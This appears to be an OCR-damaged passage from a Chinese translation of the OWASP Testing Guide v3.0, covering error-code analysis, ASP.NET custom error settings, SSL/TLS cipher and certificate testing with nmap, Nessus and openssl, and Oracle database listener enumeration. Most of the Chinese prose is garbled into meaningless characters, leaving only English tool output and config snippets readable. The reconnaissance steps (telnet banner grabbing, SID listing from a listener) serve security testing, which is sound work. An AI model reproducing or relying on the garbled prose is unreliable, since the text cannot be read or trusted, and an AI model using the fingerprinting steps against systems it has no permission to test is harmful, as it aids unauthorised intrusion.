4.2.6 #5443 BT (OWASP-1G-006)

1 2

FEAEAE Web NHIFEFZE AT, FATEE] T VF 2 AL 8 Web Mk 55 X b AL e A DR ARG o S A — 28 T R g )
B 2 T A QIR AR E TR, RENE LIRS RN s ok o LA AN TG B I XS B NNRAR A, oY
AbATI e e KOG T B, TR E S web AR SCIIBAREAFMIfE R o AEAT , BATRT A7 FLBCHT WL (1
RAS CREGME R U sURAE 59 s DA 1D B E o IR0 ) g A () 5 T D AR T IR R b,
AT T 2B AT I A5 Bt o AT RN B RETE i PP R, D A TSI DI 1 A AR I 1)

i) L 4 i

FERAHEZR A WA DOE HTTP 404 AREREN. W BEA RACRS SR T 5¢ T-HHE web S5 a8 AAH LA 14T 2
MR . il

Not Found
The requested URL /page.html was not found on this server.
Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g DAV/2 PHP/5.1.2 Server at localhost Port 80

SRR AR AT DUE S T SRANEAE R P I A o 8 S W AN Bl A5 S, b 5 T Web MO HSRAS,  #04F
ARG, BLRAIARE ™ 8 R o IWERAE RGN HI AR RRAS 36 5 IX T THDOR A, X L8 (i B ARH 2

Web 55 & (IR I FA G ME—A HI 0 A 2z e o W KR Rl A d i o 15 &0 T — BRI R S 1

Microsoft OLE DB Provider for ODBC Drivers (0x80004005)

[DBNETLIB][ConnectionOpen(Connect())] - SQL server does not exist or access denied
RAETAX? THEATE 2Bl

LEIXAMI 1, 80004005 & —A 1S B ACHY, XKW, EARENAHREIR RS — AN E. ETZHENT, iR
15 BB VRN 2 W EHE R 2R .l I IR G R R B 2 E RS A TR —E 8, BENRE A v i
5 222 A R AR

PR 25 B R (I AT R AR R, AR AR 5 VRN A B %
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Microsoft OLE DB Provider for ODBC Drivers error ‘80004005’
[Microsoft][ODBC Access 97 ODBC driver Driver]General error Unable to open registry key 'Driverld'

AT, oA TAT L BIFE R R0 T 0 — i ROAR, H T HH RO B e 2 4 2K R AR
Windows Hfl RS0V I BEE 1R .«

MAEBA VB F > Web BHI B2 MR S0, 3XA web W 26 T 0 Bt e iR 55 4 (0 BB, OF HLBAT IR AP 1Y)
BEAT R AR TXRT BE A AR 2R (R R PR AR AT (0 T, Ak B ¢ A e At A 4% 1) i T 5 A

WUARBATAT AN K PR BT D WSt (O O, el AR A A AT K GUI AT i e Ay, BIEA%, IR 1Bk
B e 7 BLe AEGRKBAEN, BIBNWAHE SRR T KER. %A ERYMAAE A MySQL Holl 4 15545

Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
[MySQL][ODBC 3.51 Driver]Unknown MySQL server host

U IRATTE 25k DT HTML AR A7 AR — N R 1P Bk 7 B, JRATTAT AFERZIE M B3 P T el ) ol
JPE IR 55 A (R 3tk 228 URL PP RXAMEL,  RBAE LR ] DL B 1

T EE 7RSS Web NI E RS a, BATT AT AR AT — 5 OISRk 55 4% k4T sQL T Y]
W5 Sl AR K

IS F1 ASP .net £ iR 47

ASP et f& Microsoft 711 T-GI4E Web KLFIIHER. . NIs 51T Web JB4-8. FFAT ML L LR, A1
HUBR S SR, (LR AL LR T R B FI TR

NS 4 7 38 5 A7 AR c:\winnt\help\iishelp\common " {{]— &R B & X457 G W) FH ) 7R “ 404 page not found”
IXFEMI R R . X8 NS He g5 4% 1 BRI U0 nT AR 608 FE I e I AR . 2 115 B aspx DUIERET, XN k%

45 . net frameworks

1E. net framework MG S FASNE [ 7 n] DAALFEEE 5% . 78 ASP.net T7E = ANHU AL FEAS % .

1. Inside Web.config customErrors section 2. Inside global.asax Application_Error Sub 3. At the the aspx or associated codebehind page in

the Page_Error sub

1% i web.config 4% b #

<customErrors defaultRedirect="myerrorpagedefault.aspx" mode="0n|Off| RemoteOnly">
<error statusCode="404" redirect="myerrorpagefor404.aspx"/>
<error statusCode="500" redirect="myerrorpagefor500.aspx"/>

</customErrors>
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mode="0n"¥#T H 5 & X4 %= . mode=RemoteOnly X L e web N M Bon B8 iR, H P ARG M AR5 4%
oAl ] S B MR BRER B, [FIINHZH Fo A 2 E @ R .

BRI #f 4R € RN, BT AR 51 defaultRedirect 7 2 R EH 2 M. B, myerrorpagedefault.aspx.
RS 404 K5 1 myerrorpagefor404.aspx Ab# .

Global.asax 4% ib 3

R R AT, A Application_Error sub. & A 51 AT LAZEIXAS sub HO AR IR AL ER / 0T EE AE 1190 SR A,
Private Sub Application_Error (ByVal sender As Object, ByVal e As System.EventArgs)

Handles MyBase.Error
End Sub

Page_Error sub 4% 4b 3

LR F B AR o

Private Sub Page_Error (ByVal sender As Object, ByVal e As System.EventArgs)
Handles MyBase.Error

End Sub

ASP .net " [1)iR 22
Page_Error KAl 4k 3, H.UKJE lobal.asax Application_Error, #% )i 4& web.config S ) customErrors.

A FH e 55 4 B B BOR A6 Web W R FPadbAT A5 R A AR 21 R, E BT A B AOAR RORT IE AR A T 2l o
A2, (B, sQLE NS RUHIAS (XSS ) Beddi) , JFn] A iRk

WA MR ASP.net F NS 45 b R
FITTHE e 2%, JE4 N —ANBEHL T 44 7K -

http:\\www.mywebserver.com\anyrandomname.asp

T R 55 AR ]

The page cannot be found

HTTP 404 - File not found

Internet Information Services

77



€

XERAE, AEN 11s WM REABLE, 1SEER. asp I &4,
X onet BESCHFRIEATINGR, AEX S H A — N aspx 7 & 44 IREAL UL i 40 7%

http:\\www.mywebserver.com\anyrandomname.aspx

Up R 55 Ak [

Server Errorin'/' Application.

AT g A\ R KL

filiid: HTTP 404, BIEAETHR (BT E) BT RECHaMIER, SU& TeEm4 T, S A . iEkE T
URL JEHA PR ILHES IEff . .net (1 e SUHT IR AR RLE .

I

telnet <host target> 80

GET /<wrong page> HTTP/1.1
<CRLF><CRLF>

iR

HTTP/1.1 404 Not Found

Date: Sat, 04 Nov 2006 15:26:48 GMT

Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g
Content-Length: 310

Connection: close

Content-Type: text/html; charset=iso-8859-1

Wa.:
1. network problems
2. bad configuration about host database address

SR
Microsoft OLE DB Provider for ODBC Drivers (0x80004005) '
[MySQL][ODBC 3.51 Driver]Unknown MySQL server host

R

1. Authentication failed

2. Credentials not inserted
ZR

T B3 B AE BT K RRAS -
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Error 407

FW-1 at <firewall>: Unauthorized to access the document.
Authorization is needed for FW-1.

The authentication required by FW-1 is: unknown.

Reason for failure of last attempt: no user

OWASP iR FE T v3.0

IR A A S 41
=S
B2 H v ) e R L
http://<host>/<dir>

A S

Directory Listing Denied

This Virtual Directory does not allow contents to be listed.
Forbidden

You don't have permission to access /<dir> on this server.

. [1] [REC2616] Hypertext Transfer Protocol -- HTTP/1.1

4.3 Mg B Pt

L0HE T RE R R R 0 G5 R T AREBOR R Web W HIRE P AOAS R . ndiiACRs,  mlSRVRR HTTP J5ik, & EIIRE,

EHP I 1) 7 1 A Rt 45 4 (1 T

4.3.1 SSL/TLS i (OWASP-CM-001)

SSL A1 TLS J& ANIELRE i o A48 10 s B ft 2 FE I Y, %L ERAT RS, RS AL hEE.

F SRR A T H K S, B ORI St m i S S IE R AT IR R 2

4.3.2 B PEQiT 2% (DB Listener) i (OWASP-CM-002)

PSSR I 55 A MO LN S V20 30000 P2 B DA AT 7870 18 B 3l R W s LA 1) 2 4o U REBEAT AT 22 4 (Y G 7
A T2l el A B HEARBEATWIT, A0t vl B it sk AU ot LA S B 05 B e AT A Bl P se A 2. itk K £ B

XTI R BIE AT I, A BER LB B 5 S AT R M KA 25
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4.3.3 JLAt 4 R I B B PRI (OWASP-CM-003)

FHHIBE R TR 2K Web IR 55 S £ M AT 2 LA vH (1) web N HIRESF, 1 ] 7 FR) 5 2 P Aol P 5 A7 R o 2 b oA it
R AN IR — AN EA D B st BN e SR S5 M 22 4, BB RERUME O
ANFCEL i BT GO T AR IR S5 4% 10 3 b A RE A ™ S e 1 AR S IR A, O G R N %
G ) AT RN A A

4.3.4 [V HPCE BRI (OWASP-CM-004)

Wel S FRFRRER T — L5l W AR N R A 5 T AR E s 5 B B R .

REE AT REMIRACS,  F OSSR B web IRSS ERAOBABF IR AU itk e, IERAXN AR — U 2 A PPAG R AR A
o

4.3.5 MY JE A AL HIL (OWASP-CM-005)

M Web JIi 55 &8 Web N FRER*_EISCAEY A4 RENE PUN Y HARN HIFE A I B, Blnd™ g 44 JSP 45 ASP. 3CfF:
P IEA ] e B e 5 N R PR IL E R S

4.3.6 St HF R ARSI SCE (OWASP-CM-006)

Web g5 ds L2 A, WBLRIAN] REASCrE, i, P A4 o Scrr, 2 Sl i — A KUk
UK S RAEAE R A 0 B, R AT T RE 2 I R Py A/ el P (8 205 R, 223 A URC i

4.3.7 FLRI 5 R RN Y H B EE 2 11 (OWASP-CM-007)

VP2 WY R P A28 B L — A 2 FHAR, AT A AR DR 00 5 g e B el Uk £ 4 30 A B
F, I 7oA n] AR SRS BB

4.3.8 HTTP J73:40 XST Jilik  (OWASP-CM-008)

XA, FRATHILR Web ARSS 25308 L C & B LA FH E W E G R PERT HTTP a5 4 (), RIRNAf RIS W)
BRI (XST) RATHER .

4.3.1 SSL/TLS ik (OWASP-CM-001)

1T 00 S B R GOn B BRI VR, AR GERI MU Web Ik 55 45 1T E S RENS SCRFARBESS N

RIS AR PR 222k T i BOInas s g% a2 e i A v R R DR E .t o S S5l o o 8 FH] 95 00 88 AT 3R A BT 18 0 22 4 A
(EPER
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WA 9 356 SSL/TLS 1o 0 2% JE 36 A 75 =k

HTTP W] SCHMSGHE # 2 L SSL &l TLS BRIE R IR 2241, IXWMHTEEL T HTTPS Wik, BR 1 520N S 14
https i AAVFE TR $E MRS as GERTLLERSE R i) o

MWD B, SRIEBUFATBR BN, SVFH RIS REE s P R 2 00 40 47, T E PT AR A M T SRAS A5 A
AR PR . EIEIN LR KN Hh AL 8058 (R S8 R ADIRAEAE) ARt e il e ha i, K 2
SSL BC EAR HLEE . T SSL A I 55 AN 12 5 (P UL 4 55 4 A% 1 7T

MEEAR FdF, BN eI U R 7E SSL i He e 38 WA B, & i ik Hello VB BIIRG48, XH BT 6
FHEME RSN, BASE T e A RIS A . Rl A Web SIS (BIAERAAT Y SSL %
U)o, AAA—EAE, B E T DO AE A SSL ThRe M AR s g AWk, A —w & —1 web k%
&, BARKZHAEI N B web IRS54s . (B, —{HAFER SSL % 7 s SSLACEE, 4 stunnel
(www. stunnel. org) , ‘W LASRVFARA SSL Dhfei T HEFE SSL s . O MR N & a4a e T i ¥l (DES,
RC4, AES) , In##HKEE (Un 40, 56, % 128 fi7) , LUK T e B A MEg ik (SHA, MD5) o 3%
I Hello Y8, RSS2 vk g MRl s B0 F Fi% 2 il 4558 IS5 28 K TRl s B4 247 v e (ldn, @it
BeEARA) o X Fhra, @y Ligsdl, B, 555 um o A H SR 40 AN .

IR % S )

N T RBURTREAFAE M55 N, AR UM G AT SSL/TLS g5 AOAH G M o IX L ICIALREE A Hetps FrvfEsm ) 443
i o ERIX AT RESY SRS, IOA @) HTTPS MR S5 il BERHC B BAE AR pn s L1284 b) WREA HE S Web MR
FPAORHIR S5 A6 /] SSL/TLS . —BUE UL T, AT 55 b 2k 2K 235 1

Nmap $4ifi, I “ - sV” S9HETL, FEREWHE SSL RSN Ieidias, Br 7o DURBLZ SRS, 3 n] Be it
SO R, (B, Nessus 9448 AT LU & B AL A SSLIRSS,  FRRR IS AEAE I 55 03

% 1383 nmap 151 SSL ARSS

[root@test]# nmap -F -sV localhost

Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2005-07-27 14:41 CEST
Interesting ports on localhost.localdomain (127.0.0.1):

(The 1205 ports scanned but not shown below are in state: closed)

PORT  STATE SERVICE VERSION

443/tcp open ssl OpenSSL

901/tcp open http Samba SWAT administration server

8080/tcp open http Apache httpd 2.0.54 ((Unix) mod_ssl/2.0.54 OpenSSL/0.9.7g PHP/4.3.11)
8081/tcp open http Apache Tomcat/Coyote JSP engine 1.0

Nmap run completed -- 1 IP address (1 host up) scanned in 27.881 seconds
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[root@test]#

Example 2. i [ Nessus £ 55155 . R A1) Nessus Fli 2% T 7= A= (06 T4 R 25 28 UE B HEAT 5 40 A IE Fh A7AE
FNER) LR R SCA) ) R —ANE L k.

https (443/tcp)

Description

Here is the SSLv2 server certificate:

Certificate:

Data:

Version: 3 (0x2)

Serial Number: 1 (0x1)

Signature Algorithm: md5WithRSAEncryption

Issuer: C=kk, ST=wdkicik, L=fkdoork, O=tookiolk, QU=tkdokoroiok,  CN=skefolekotok
Validity

Not Before: Oct 17 07:12:16 2002 GMT

Not After : Oct 16 07:12:16 2004 GMT

Subject: C=#k, ST=skskkssk L=skktokskk O=stokkokskk,  CN=skksdoksdok
Subject Public Key Info:

Public Key Algorithm: rsaEncryption

RSA Public Key: (1024 bit)

Modulus (1024 bit):
00:98:41:24:16:cb:0f:74:e8:9c:b5:ce:62:14:4e:
6b:84:¢h:81:43:59:cl:2e:ac:ba:af:92:51:13:0b:
ad:el:4b:22:ba:ba:9a:1e:0f:0b:fb:3d:5d:eb:fc:
ef:b8:8c:dc:78:28:97:8b:f0:1f:17:9f:69:3f:0e:
72:51:24:1b:9¢:3d:85:52:1d:df:da:5a:b8:2e:d2:
09:00:76:24:43:bc:08:67:6b:dd:6b:e9:d2:15:67:
el1:90:2a:b4:3b:b4:3c:b3:71:4e:88:08:74:b9:a8:
2d:c4:8¢:65:93:08:e6:2f:fd:e0:fa:dc:6d:d7:a2:
3d:0a:75:26:cf:dc:47:74:29

Exponent: 65537 (0x10001)

X509v3 extensions:

X509v3 Basic Constraints:

CA:FALSE

Netscape Comment:

OpenSSL Generated Certificate

Page 10

Network Vulnerability Assessment Report 25.05.2005
X509v3 Subject Key Identifier:
10:00:38:4C:45:F0:7C:E4:C6:A7:A4:E2:C9:F0:E4:2B:A8:F9:63: A8
X509v3 Authority Key Identifier:
keyid:CE:E5:F9:41:7B:D9:0E:5E:5D:DF:5E:B9:F3:E6:4A:12:19:02:76:CE
DirName:/C=##%/ST /L /0 /0U /CN
serial: 00

Signature Algorithm: md5WithRSAEncryption
Tb:14:bd:c7:3¢:0c:01:8d:69:91:95:46:5c:e6:1e:25:9b:aa:
8b:f5:0d:de:e3:2e:82:1e:68:be:97:3b:39:4a:83:ae:fd: 15:
2e:50:c8:a7:16:6e:¢9:4e:76:cc:fd:69:ae:4f:12:b8:e7:01:
b6:58:7e:39:d1:fa:8d:49:bd: ff:6b:a8:dd:ae:83:ed:bc:b2:
40:e3:ab:e0:fd:ae:3f:57:4d:ec:f3:21:34:b1:84:97:06:6f:
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f4:7d:f4:1c:84:cc:bb:lc:1c:e7:7a:7d:2d:e9:49:60:93:12:
0d:9f:05:8c:8e:f9:cf:e8:9f:fc:15:c0:6e:e2:fe:eb:07:81:

82:fc

Here is the list of available SSLv2 ciphers:

RC4-MD5

EXP-RC4-MD5

RC2-CBC-MD5

EXP-RC2-CBC-MD5

DES-CBC-MD5

DES-CBC3-MD5

RC4-64-MD5

The SSLv2 server offers 5 strong ciphers, but also 0 medium strength and 2 weak ”“export class” ciphers.
The weak/medium ciphers may be chosen by an export-grade or badly configured client software. They only offer a
limited protection against a brute force attack

Solution: disable those ciphers and upgrade your client software if necessary.

See http://support. microsoft. com/default. aspx?scid=kben-us216482

or http://httpd. apache. org/docs—2. 0/mod/mod_ssl. html#sslciphersuite

This SSLv2 server also accepts SSLv3 connections

This SSLv2 server also accepts TLSvl connections

I 3. F OpenSSL #EAT N TR £ SSL 59 N8 FE R . IR 2Rl it SSLv2 #4231 Google. com.

[root@test]# openssl s client —no tlsl —no ssl3 —connect www. google. com:443

CONNECTED (00000003)

depth=0 /C=US/ST=California/L=Mountain View/0=Google Inc/CN=www. google. com
verify error:num=20:unable to get local issuer certificate

verify return:1

depth=0 /C=US/ST=California/L=Mountain View/0=Google Inc/CN=www. google. com
verify error:num=27:certificate not trusted

verify return:1

depth=0 /C=US/ST=California/L=Mountain View/0=Google Inc/CN=www. google. com
verify error:num=21:unable to verify the first certificate

verify return:1

Server certificate

MIIDYzCCAsygAwIBAgIQYFbAC3yUCSRF jOMS71{BkzANBgkqhkiG9wOBAQQFADCB
7 jELMAKGA1UEBhMCWKEXFTATBgNVBAgTDFd1c3R1emdgQ2FwZTESMBAGA1UEBxMJ
Q2FwZSBUb3duMROwGwYDVQQKExRUaGF3dGUgQ29uc3VsdGluZyB jYzEoMCYGA1UE
CxMfQ2VydGImaWNhdGlvbiBTZXJ2aWN1cyBEaXZpc21vb jEhMB8GATUEAXMYVGhh
d3R1IFByZW1pdWOgU2VydmVy IENBMSgw]gY JKoZIhveNAQKkBFhlwemVtaXVtLXNI
cnZ1ckB0aGF3dGUuY29tMB4XDTAZMDQyMTAXMDcONVoXDTASMDQyMTAxXMDcONVow
aDELMAKGA 1UEBhMCVVMxEzARBgNVBAgTCkNhbG1mb3 JuaWEXF jJAUBgNVBAcTDU1v
dW50YWIulFZpZXcxEzZARBgNVBAoTCkdvb2dsZSB JbmMxFzAVBgNVBAMTDnd3dy5n
b29nbGUuY29tMIGETMAOGCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/e2Vs8U33fRDk
5NNpNgkB1zKwdrqTozmfwty7eTEISPVHIBf6nthocQ9d9Sg JAI2WOBP4grP j7MqO
dXMTFWGDf 1 Tnwes 16G7NZ1yh6peT68r7ifrwSsVLisJp6pUf31M5Z3D88b+Yy4PE
D7BJaTxg6NNmP1vYUJeXsGSGrV6FUQIDAQABo4GmMIG jMBOGA1Ud JQQWMBQGCCsG
AQUFBwMBBggrBgEFBQcDA jBABgNVHRSEOTA3MDWgM6Axhi90dHRWO18vY3JsLnRo
YXd0ZS5 jb20vVGhhd3R1UHJ1bW11bVN1cnZ1ckNBLmNybDAyBggrBgEFBQcBAQQm
MCQwIgY IKwYBBQUHMAGGFmhOdHAGLy9vY3NwLnRoYXd0ZS5 jb20wDAYDVROTAQH/
BAIwADANBgkghkiG9wOBAQQFAAOBgQAD1 ThBdVY6LD1nHWkhTadmzuWq2rWEOKO3
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€

Ay+7E1eYWPOo+EST315QLpU6pAgb1gobGolbx/fUg2U8WiY j111cbavhX2hlhda3
FJWnB3SiXaiuDTsGxQ267EwCVWD5bCrSWa6411SJTgiUmzAv0a2W8YHXdGO8+nYc
X/dVk5WRTw==

subject=/C=US/ST=California/L=Mountain View/0=Google Inc/CN=www. google. com
issuer=/C=ZA/ST=Western Cape/L=Cape Town/0O=Thawte Consulting cc/OU=Certification Services Division/CN=Thawte
Premium Server CA/emailAddress=premium-server@thawte. com

No client certificate CA names sent

Ciphers common between both SSL endpoints:

RC4-MD5 EXP-RC4-MD5 RC2-CBC-MD5
EXP-RC2-CBC-MD5 DES-CBC-MD5 DES-CBC3-MD5

RC4-64-MD5

SSL handshake has read 1023 bytes and written 333 bytes
New, SSLv2, Cipher is DES-CBC3-MD5
Server public key is 1024 bit
Compression: NONE
Expansion: NONE
SSL-Session:
Protocol : SSLv2
Cipher : DES-CBC3-MD5
Session—ID: 709F48E4D567C70A2E49886E4C697CDE
Session—ID-ctx:
Master—Key: 649E68F8CF936E69642286AC40A80F433602E3C36FD288C3
Key-Arg  : ESCB6FEB9ECF3033
Start Time: 1156977226
Timeout : 300 (sec)
Verify return code: 21 (unable to verify the first certificate)

closed

S A S

K 2T 424 HTTPS JI45 1 web IG5 25l E o 40 R Web IR 25 HOMCE « L0 IR Web N HAFEFFHRfL H e b AFE P44 T &
‘& SSL/TLS Fdf B4, X BeR 45 th v 52 4 2

Bil: Windows 2k3 [V M& R AR E SC T R H AR 55 4% D0 S50 «

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\

M SSL k5 A Rk — %5 7 v AR 55 4%

2l HTTPS By ) —A> Web N HIREY, 7E% ) b GRS FURS S mldsr 7 — A2 afFil. Wik
TR RS E — T UIRSS48) B8 (R im MRS 4%) HIS4re J TRESLIEAS, aaZifdm 2S5, Rmifig
S SSL AR AL AR B BV L, BA PR e+ 2 20hufe, QAR HE it A d: &) A A EhLe
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(CAY RACH CRARE—MEHEHED » b) RAIZIE H A2 AR, o) Kt Wk 24502 5 e i
EHINEi RS

EBATE VER R A kg Tl

a) BRI ASHAT PRI S AF AR CAE L, R IEARREBAEAS K CA (BLFIRWTRER HE XAy e) o« fE5—
AN HITPS MRS 28 IR i v, RS B AE 15 IR TR CA A 3 W 2% CU AN ), Tl 23R s o IR S A AT 02
PR —A> Web N IR PP HOBUT H IRBELHT CA BT fUE o 2 7 5 SEH O ) Uk T LA R R Bldn,
) PR R Z R SRR UV ) (5 RE 3 4 m M2 i T ISRl T https R4t AEIXH, RARVLFTA RIS CA D]
fRAER CA) o ARSI BRI AR Bt on il A Ak, (R R BRI AL S FRA IE R (IR S5 A5 1 S 40D 5 38
E L AUHEE AT EALI CA, X CA AU NI I BEF 2 0 CRELIRA M LA E L s FAT AN
PHARCTAEB AL AR 30

b) UEPAH R R, I, eI Re s e 3 Nas o PRI IRA] o SR 2 3R 55 7 B — AN I ) A R
o, BN, ERERNS DRSS, B2 S HRETS B E LU R AT, ER A b T3 S Hm
T

¢) MRS BRAIR S5 2% K2 AR AL HEHE 2 I R AEIXCR G 00, BURATSE. PR, XIFA IR
Blo RGEATREINA LI T2 P HIBIL N, A EAFEK TP Huht, JREsd HTTP 1.1 Host: header {5 SR
e FERXAMEOLT, PUMAE HTTP 3RABEZ 1Y, SSL MR T Ihil sk & iR 55 asiie A5, Jr AR REAS FE SR 55 4 4 E A
[IFRIE S S AT RER o PRI, 2 SR 02 I il 1 44 R S5 e AE 15 0 44 PRAN VL IE 0 588 4 J0 o e ol G0 75 IX AR B .
TREGIX PGB, AU AT TP BRI S5 A . (210 [314A T FH T Ab XA 1] URN BE A% B 1E4f 5 | 30 )k T
YT LR

L A S

R R e A AOUE S A R e B R eSS, ANFIEARI CA MUR FIE F RIS BE S BT K (199 i 44 1L
BCHJUEFII,  0 BE R A B3 o D7 1R) HTTPS st iy, Jd i i B AR D0 B8 2 0 R, AR T LR SUE1 A 0
HIBER -, A0, IR rEsE,

USRI R e AR e S, BT RE L2 2% T AN LA BES i) B AR o n] DAAE ) BT &% rhod i P 2
RS 10 44 B AR AT ORAE TS AT SRIDGIEAS (AR A5 S

IX LA AT ST T 128 AR A8 B T R LI SSL B AE URiE . B4R HTTPS R4S I8 W AEum 10 443 _Lig47,
F 4 web N FHRE P AR REE IR BN OL, WRESW LB Z MRS (HTTPS 48 Bl I P80 AE AEAn s 1Al
FH https RS, 4525 o NIk, TR ENA SR SSL B35 M s . #l4n, Nmap $93H4% A K3 OB
i - sV ar 47155 Al LAKAE SSL B2 IRSS . Nessus BRI 28 7] LAKHT A SSL/TLS 32 () IR 4513547 SSL 46
7.

SEH

FATHEN T IS AETG TR AN LB AS & — AN R 7RG T UCHIE R https WUSHAE By LA ME S £
PE . NI AREI K MTH SRR IT AR — AN X MEE . & Microsoft Internet Explorer & HiH)
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e o BAVEAEVI R —AN. it M, Wik &ML . com M) Internet Explorer 5 4d, %M 5iuE+)
R AFRAATT .

ZNo page to display - Microsoft Internet Explorer

File Edt View Favorites Tooks  Help

= ' e =
< = 2 B

Qe - &) @ @ ¥b ‘ /O Search "¢ Favortes @A Media {61 | @ &

Address [£1 heeps: o, I— L]

Security Alert Certificate 2%

Irfoimation you exchange with this site cannot be viewed or General | petals | Certifcation Path |
changed by athers. However, there is a problem with the site's
secuity certificate.

@ The secuiy caificate is om a tusted cetiing authoriy - Certificate Information

This certificate is intended for the following purpose(s):

*Ensures the identity of a remate computer
e The security certificate date is walid

8y The name on the securly certificats is invaiid or does not
match the name of the site _

Do you want to proceed?

Issued to: . com
Yes Ho Wiew Ceilficate

Issued by: NN Secure Server Authority

walid from 23/01/2005 to 23/01/2006

Install Certificate.. Issuer Statement

Mozilla Firefox WIVEs &K AL, Firefox K HHEEEAFEMK . Firefox [F])VY,
f). com 3 1) B 473
L,

R TCIE R UE T TS A
AN ZUE N CA. 52 |, Internet Explorer il Firefox #i3% 7 A CA TE
B, b YRS 14 s N ] BEANA] o

*IMovzilla Firefox Start Page - Mozilla Firefox
File Edt Yew Go Bookmarks Tools Help

la-op - & O - o« [c

Web Site Certified by an Unknown Authority x|

Unable to verify the identity ol

com as a trusted ske,

21 possble reasans for this error:

- Vour browser does ot recognize the Certificate Authoriy that issued the site's certficate.
- The site's certficate is incomplete due to a server misconfiguration.

- Vou are connected ko a site pretending to be I com, posshiy to obtain
yaur confidential infarmation.
Please notify the site's webmaster about this problem,

Befare accepting this certificate, you should examine this site's certficate carefuly. Are you
wiling to to accept this certifieats for the purpose of identifying the web site:
——

Exarmine Certificate,

" Accept this certificats permanently
& accept this certificate temporarily for this session

" Do not accept this certificate and do not connect ko this web site

Cancel Help

=l

Bk

X S 41

s

)
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TENR S a5 R ity 1 2 THIRS: #85  FH R P BT A P 1A Rtk o UE S A E 2R FE Web R4S 2310210 AR,
feosfy Hoe % SSL M il E 14 (Bltn, SEIREESHRE) . BNV ZE TN TR RAR RS, k3B Ta R
i SSL SR ) IRIE .

2% HX
HEH

[1] RFC2246. The TLS Protocol Version 1.0 (updated by RFC3546) - http://www. ietf.org/rfc/rfc2246. txt
. [2] RFC2817. Upgrading to TLS Within HTTP/1.1 - http://www. ietf. org/rfc/rfc2817. txt
. [3] RFC3546. Transport Layer Security (TLS) Extensions — http://www. ietf.org/rfc/rfc3546. txt

. [4] www.verisign.net features various material on the topic

TR

=  Vulnerability scanners may include checks regarding certificate validity, including name mismatch and
time expiration. They also usually report other information, such as the CA which issued the certificate
Remember, however, that there is no unified notion of a “trusted CA” ; what is trusted depends on the
configuration of the software and on the human assumptions made beforehand. Browsers come with a
preloaded list of trusted CA. If your web application rely on a CA which is not in this list (for
example, because you rely on a self-made CA), you should take into account the process of configuring
user browsers to recognize the CA.

= The Nessus scanner includes a plugin to check for expired certificates or certificates which are going
to expire within 60 days (plugin “SSL certificate expiry” , plugin id 15901). This plugin will check
certificates installed on the server

= Vulnerability scanners may include checks against weak ciphers. For example, the Nessus scanner

(http://www. nessus. org) has this capability and flags the presence of SSL weak ciphers (see example

provided above).
=  You may also rely on specialized tools such as SSL Digger

(http://www. foundstone. com/resources/proddesc/ssldigger. htm), or - for the command line oriented -

experiment with the openssl tool, which provides access to OpenSSL cryptographic functions directly from
a Unix shell (may be already available on *nix boxes, otherwise see www. openssl.org)

= To identify SSL-based services, use a vulnerability scanner or a port scanner with service recognition
capabilities. The nmap scanner features a “-sV” scanning option which tries to identify services
while the Nessus vulnerability scanner has the capability of identifying SSL-based services on arbitrary
ports and to run vulnerability checks on them regardless of whether they are configured on standard or
non-standard ports

. In case you need to talk to a SSL service but your favourite tool doesn’ t support SSL, you may benefit
from a SSL proxy such as stunnel; stunnel will take care of tunnelling the underlying protocol (usually
http, but not necessarily so) and communicate with the SSL service you need to reach

= Finally, a word of advice. Though it may be tempting to use a regular browser to check certificates
there are various reasons for not doing so. Browsers have been plagued by various bugs in this area, and
the way the browser will perform the check might be influenced by configuration settings that may not be

always evident. Instead, rely on vulnerability scanners or on specialized tools to do the job.

87


http://www.ietf.org/rfc/rfc2246.txt
http://www.ietf.org/rfc/rfc2817.txt
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CKZ 0 Oracle L HASARLIXA MRS B A BINLS) Vi 1] F1ZARS, XATRHE AT RESEIL . W0 28B4 1
Wit 1152 1521 (g1 2483 J& TNS MW 888 1 B 7 it 115 i 1 2484 & TNS MEWTas i H SSL i 1) o LR UF
MO T 25 MO Aty VR R B L e T R i o A SRR WT sl oG, AT BRIE AR UG I B P . W R A2 iX
FIAESL, LN R R T, WEUE R T — MRS it .

Bk (K9 A v -
o fFIEMEWT &S — 57 DoS Biifi
. SEERRBLAE I e NPT 8% —— DB B
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AR TR

 Bebagrigy - Dracls Lsbener Sscusity Dhisck w110 B P s e |

Litara Logging ] edran Rnctictiona |
o Hawess o 1 dbddioris T R R

[104.21.218

Sel e Lisened paninaosd o siop et shacks ond (ecillp Blies
Puonts Husir This & Louslly & orpla paacans. ent chodd sad the paasvead uing
I 1521 LEHACTL. rdah vell evicead s puatrasd stossd o bibasos
Lirh Sefirgtha parmeard rasreusly in kel erat cas uong ha
"PAESWORDE_|ktevied rael” [abaeslei nlliest i e pateasd

] drasd nclawiad
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Chach the kikmat o 16 we i e & fowed pavede
PG BTSN nuvesl

X ikmin Restrictiors

For e infcarustine, ons the Integunys Duks Datshare Ligies.
st fuick

INTEGRIGY

R TR AW E

s, fE14% Oracle R4, WHERA W E MVras i, LA THASIFX —1H0. WREH & E %,
Wik B nl ABE e %0, JEEFER T gs, R LUE M A gmtE Listener. ora SCAFMHER 65 .

A H R AT RGNS O R HEI R GRS, SiARREN R a0l k2 s e . it
b, WANREH A BT 4% A 5% T AR

BRG] AV BRI . WA AR “SET” A4

B WRARAERSS2E LB TCP/1 5 2 1 JFGR I, #RIF Oracle Wi # ik v AR AN RE . T 0 I Oy 2%
B AU R, BE i BARREIR 28 2 R B SEUE,  wlifs ml e R AN SR 41%% Oracle RS- #ildn, {4
LSNRCTL(.exe) CHLEFERE Oracle % P 2225 FE ), R AE RIS W1 T far -

TNSLSNR for 32-bit Windows: Version 9.2.0.4.0 - Production

TNS for 32-bit Windows: Version 9.2.0.4.0 - Production

Oracle Bequeath NT Protocol Adapter for 32-bit Windows: Version 9.2.0.4.0 - Production
Windows NT Named Pipes NT Protocol Adapter for 32-bit Windows: Version 9.2.0.4.0 - Production
Windows NT TCP/IP NT Protocol Adapter for 32-bit Windows: Version 9.2.0.4.0 - Production,,
SID(s): SERVICE_NAME = CONFDATA

SID(s): INSTANCE_NAME = CONFDATA

SID(s): SERVICE_NAME = CONFDATAPDB

SID(s): INSTANCE_NAME = CONFDATA

SID(s): SERVICE_NAME = CONFORGANIZ

